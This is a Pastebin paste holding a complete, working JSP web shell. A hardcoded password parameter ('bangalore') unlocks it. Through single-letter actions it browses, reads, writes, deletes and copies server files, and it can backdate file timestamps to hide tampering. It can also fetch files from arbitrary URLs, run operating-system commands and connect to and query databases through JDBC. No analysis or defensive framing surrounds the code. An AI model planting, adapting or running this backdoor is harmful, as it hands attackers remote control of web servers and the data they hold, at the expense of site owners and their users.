Guest User

Untitled

a guest
Apr 1st, 2019
144
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
  2. <%!
  3. String Pwd = "bangalore";
  4. String cs = "UTF-8";
  5.  
  6. String EC(String s) throws Exception {
  7. return new String(s.getBytes("ISO-8859-1"),cs);
  8. }
  9.  
  10. Connection GC(String s) throws Exception {
  11. String[] x = s.trim().split("choraheiheihei");
  12. Class.forName(x[0].trim());
  13. if(x[1].indexOf("jdbc:oracle")!=-1){
  14. return DriverManager.getConnection(x[1].trim()+":"+x[4],x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  15. }else{
  16. Connection c = DriverManager.getConnection(x[1].trim(),x[2].equalsIgnoreCase("[/null]")?"":x[2],x[3].equalsIgnoreCase("[/null]")?"":x[3]);
  17. if (x.length > 4) {
  18. c.setCatalog(x[4]);
  19. }
  20. return c;
  21. }
  22. }
  23.  
  24. void AA(StringBuffer sb) throws Exception {
  25. File k = new File("");
  26. File r[] = k.listRoots();
  27. for (int i = 0; i < r.length; i++) {
  28. sb.append(r[i].toString().substring(0, 2));
  29. }
  30. }
  31.  
  32. void BB(String s, StringBuffer sb) throws Exception {
  33. File oF = new File(s), l[] = oF.listFiles();
  34. String sT, sQ, sF = "";
  35. java.util.Date dt;
  36. SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  37. for (int i = 0; i < l.length; i++) {
  38. dt = new java.util.Date(l[i].lastModified());
  39. sT = fm.format(dt);
  40. sQ = l[i].canRead() ? "R" : "";
  41. sQ += l[i].canWrite() ? " W" : "";
  42. if (l[i].isDirectory()) {
  43. sb.append(l[i].getName() + "/\t" + sT + "\t" + l[i].length()+ "\t" + sQ + "\n");
  44. } else {
  45. sF+=l[i].getName() + "\t" + sT + "\t" + l[i].length() + "\t"+ sQ + "\n";
  46. }
  47. }
  48. sb.append(sF);
  49. }
  50.  
  51. void EE(String s) throws Exception {
  52. File f = new File(s);
  53. if (f.isDirectory()) {
  54. File x[] = f.listFiles();
  55. for (int k = 0; k < x.length; k++) {
  56. if (!x[k].delete()) {
  57. EE(x[k].getPath());
  58. }
  59. }
  60. }
  61. f.delete();
  62. }
  63.  
  64. void FF(String s, HttpServletResponse r) throws Exception {
  65. int n;
  66. byte[] b = new byte[512];
  67. r.reset();
  68. ServletOutputStream os = r.getOutputStream();
  69. BufferedInputStream is = new BufferedInputStream(new FileInputStream(s));
  70. os.write(("->" + "|").getBytes(), 0, 3);
  71. while ((n = is.read(b, 0, 512)) != -1) {
  72. os.write(b, 0, n);
  73. }
  74. os.write(("|" + "<-").getBytes(), 0, 3);
  75. os.close();
  76. is.close();
  77. }
  78.  
  79. void GG(String s, String d) throws Exception {
  80. String h = "0123456789ABCDEF";
  81. File f = new File(s);
  82. f.createNewFile();
  83. FileOutputStream os = new FileOutputStream(f);
  84. for (int i = 0; i < d.length(); i += 2) {
  85. os.write((h.indexOf(d.charAt(i)) << 4 | h.indexOf(d.charAt(i + 1))));
  86. }
  87. os.close();
  88. }
  89.  
  90. void HH(String s, String d) throws Exception {
  91. File sf = new File(s), df = new File(d);
  92. if (sf.isDirectory()) {
  93. if (!df.exists()) {
  94. df.mkdir();
  95. }
  96. File z[] = sf.listFiles();
  97. for (int j = 0; j < z.length; j++) {
  98. HH(s + "/" + z[j].getName(), d + "/" + z[j].getName());
  99. }
  100. } else {
  101. FileInputStream is = new FileInputStream(sf);
  102. FileOutputStream os = new FileOutputStream(df);
  103. int n;
  104. byte[] b = new byte[512];
  105. while ((n = is.read(b, 0, 512)) != -1) {
  106. os.write(b, 0, n);
  107. }
  108. is.close();
  109. os.close();
  110. }
  111. }
  112.  
  113. void II(String s, String d) throws Exception {
  114. File sf = new File(s), df = new File(d);
  115. sf.renameTo(df);
  116. }
  117.  
  118. void JJ(String s) throws Exception {
  119. File f = new File(s);
  120. f.mkdir();
  121. }
  122.  
  123. void KK(String s, String t) throws Exception {
  124. File f = new File(s);
  125. SimpleDateFormat fm = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
  126. java.util.Date dt = fm.parse(t);
  127. f.setLastModified(dt.getTime());
  128. }
  129.  
  130. void LL(String s, String d) throws Exception {
  131. URL u = new URL(s);
  132. int n = 0;
  133. FileOutputStream os = new FileOutputStream(d);
  134. HttpURLConnection h = (HttpURLConnection) u.openConnection();
  135. InputStream is = h.getInputStream();
  136. byte[] b = new byte[512];
  137. while ((n = is.read(b)) != -1) {
  138. os.write(b, 0, n);
  139. }
  140. os.close();
  141. is.close();
  142. h.disconnect();
  143. }
  144.  
  145. void MM(InputStream is, StringBuffer sb) throws Exception {
  146. String l;
  147. BufferedReader br = new BufferedReader(new InputStreamReader(is));
  148. while ((l = br.readLine()) != null) {
  149. sb.append(l + "\r\n");
  150. }
  151. }
  152.  
  153. void NN(String s, StringBuffer sb) throws Exception {
  154. Connection c = GC(s);
  155. ResultSet r = s.indexOf("jdbc:oracle")!=-1?c.getMetaData().getSchemas():c.getMetaData().getCatalogs();
  156. while (r.next()) {
  157. sb.append(r.getString(1) + "\t|\t\r\n");
  158. }
  159. r.close();
  160. c.close();
  161. }
  162.  
  163. void OO(String s, StringBuffer sb) throws Exception {
  164. Connection c = GC(s);
  165. String[] x = s.trim().split("choraheiheihei");
  166. ResultSet r = c.getMetaData().getTables(null,s.indexOf("jdbc:oracle")!=-1?x.length>5?x[5]:x[4]:null, "%", new String[]{"TABLE"});
  167. while (r.next()) {
  168. sb.append(r.getString("TABLE_NAME") + "\t|\t\r\n");
  169. }
  170. r.close();
  171. c.close();
  172. }
  173.  
  174. void PP(String s, StringBuffer sb) throws Exception {
  175. String[] x = s.trim().split("\r\n");
  176. Connection c = GC(s);
  177. Statement m = c.createStatement(1005, 1007);
  178. ResultSet r = m.executeQuery("select * from " + x[x.length-1]);
  179. ResultSetMetaData d = r.getMetaData();
  180. for (int i = 1; i <= d.getColumnCount(); i++) {
  181. sb.append(d.getColumnName(i) + " (" + d.getColumnTypeName(i)+ ")\t");
  182. }
  183. r.close();
  184. m.close();
  185. c.close();
  186. }
  187.  
  188. void QQ(String cs, String s, String q, StringBuffer sb,String p) throws Exception {
  189. Connection c = GC(s);
  190. Statement m = c.createStatement(1005, 1008);
  191. BufferedWriter bw = null;
  192. try {
  193. ResultSet r = m.executeQuery(q.indexOf("--f:")!=-1?q.substring(0,q.indexOf("--f:")):q);
  194. ResultSetMetaData d = r.getMetaData();
  195. int n = d.getColumnCount();
  196. for (int i = 1; i <= n; i++) {
  197. sb.append(d.getColumnName(i) + "\t|\t");
  198. }
  199. sb.append("\r\n");
  200. if(q.indexOf("--f:")!=-1){
  201. File file = new File(p);
  202. if(q.indexOf("-to:")==-1){
  203. file.mkdir();
  204. }
  205. bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(q.indexOf("-to:")!=-1?p.trim():p+q.substring(q.indexOf("--f:") + 4,q.length()).trim()),true),cs));
  206. }
  207. while (r.next()) {
  208. for (int i = 1; i <= n; i++) {
  209. if(q.indexOf("--f:")!=-1){
  210. bw.write(r.getObject(i)+""+"\t");
  211. bw.flush();
  212. }else{
  213. sb.append(r.getObject(i)+"" + "\t|\t");
  214. }
  215. }
  216. if(bw!=null){bw.newLine();}
  217. sb.append("\r\n");
  218. }
  219. r.close();
  220. if(bw!=null){bw.close();}
  221. } catch (Exception e) {
  222. sb.append("Result\t|\t\r\n");
  223. try {
  224. m.executeUpdate(q);
  225. sb.append("Execute Successfully!\t|\t\r\n");
  226. } catch (Exception ee) {
  227. sb.append(ee.toString() + "\t|\t\r\n");
  228. }
  229. }
  230. m.close();
  231. c.close();
  232. }
  233. %>
  234. <%
  235.  
  236.  
  237. //String Z = EC(request.getParameter(Pwd) + "", cs);
  238.  
  239. cs = request.getParameter("code") != null ? request.getParameter("code")+ "":cs;
  240. request.setCharacterEncoding(cs);
  241. response.setContentType("text/html;charset=" + cs);
  242. StringBuffer sb = new StringBuffer("");
  243. if (request.getParameter(Pwd) != null) {
  244.  
  245. try {
  246. String Z = EC(request.getParameter("action") + "");
  247. String z1 = EC(request.getParameter("z1") + "");
  248. String z2 = EC(request.getParameter("z2") + "");
  249. sb.append("->" + "|");
  250. String s = request.getSession().getServletContext().getRealPath("/");
  251. if (Z.equals("A")) {
  252. sb.append(s + "\t");
  253. if (!s.substring(0, 1).equals("/")) {
  254. AA(sb);
  255. }
  256. } else if (Z.equals("B")) {
  257. BB(z1, sb);
  258. } else if (Z.equals("C")) {
  259. String l = "";
  260. BufferedReader br = new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
  261. while ((l = br.readLine()) != null) {
  262. sb.append(l + "\r\n");
  263. }
  264. br.close();
  265. } else if (Z.equals("D")) {
  266. BufferedWriter bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
  267. bw.write(z2);
  268. bw.close();
  269. sb.append("1");
  270. } else if (Z.equals("E")) {
  271. EE(z1);
  272. sb.append("1");
  273. } else if (Z.equals("F")) {
  274. FF(z1, response);
  275. } else if (Z.equals("G")) {
  276. GG(z1, z2);
  277. sb.append("1");
  278. } else if (Z.equals("H")) {
  279. HH(z1, z2);
  280. sb.append("1");
  281. } else if (Z.equals("I")) {
  282. II(z1, z2);
  283. sb.append("1");
  284. } else if (Z.equals("J")) {
  285. JJ(z1);
  286. sb.append("1");
  287. } else if (Z.equals("K")) {
  288. KK(z1, z2);
  289. sb.append("1");
  290. } else if (Z.equals("L")) {
  291. LL(z1, z2);
  292. sb.append("1");
  293. } else if (Z.equals("M")) {
  294. String[] c = { z1.substring(2), z1.substring(0, 2), z2 };
  295. Process p = Runtime.getRuntime().exec(c);
  296. MM(p.getInputStream(), sb);
  297. MM(p.getErrorStream(), sb);
  298. } else if (Z.equals("N")) {
  299. NN(z1, sb);
  300. } else if (Z.equals("O")) {
  301. OO(z1, sb);
  302. } else if (Z.equals("P")) {
  303. PP(z1, sb);
  304. } else if (Z.equals("Q")) {
  305. QQ(cs, z1, z2, sb,z2.indexOf("-to:")!=-1?z2.substring(z2.indexOf("-to:")+4,z2.length()):s.replaceAll("\\\\", "/")+"images/");
  306. }
  307. } catch (Exception e) {
  308. sb.append("ERROR" + ":// " + e.toString());
  309. }
  310. sb.append("|" + "<-");
  311. out.print(sb.toString());
  312. }
  313. %>
RAW Paste Data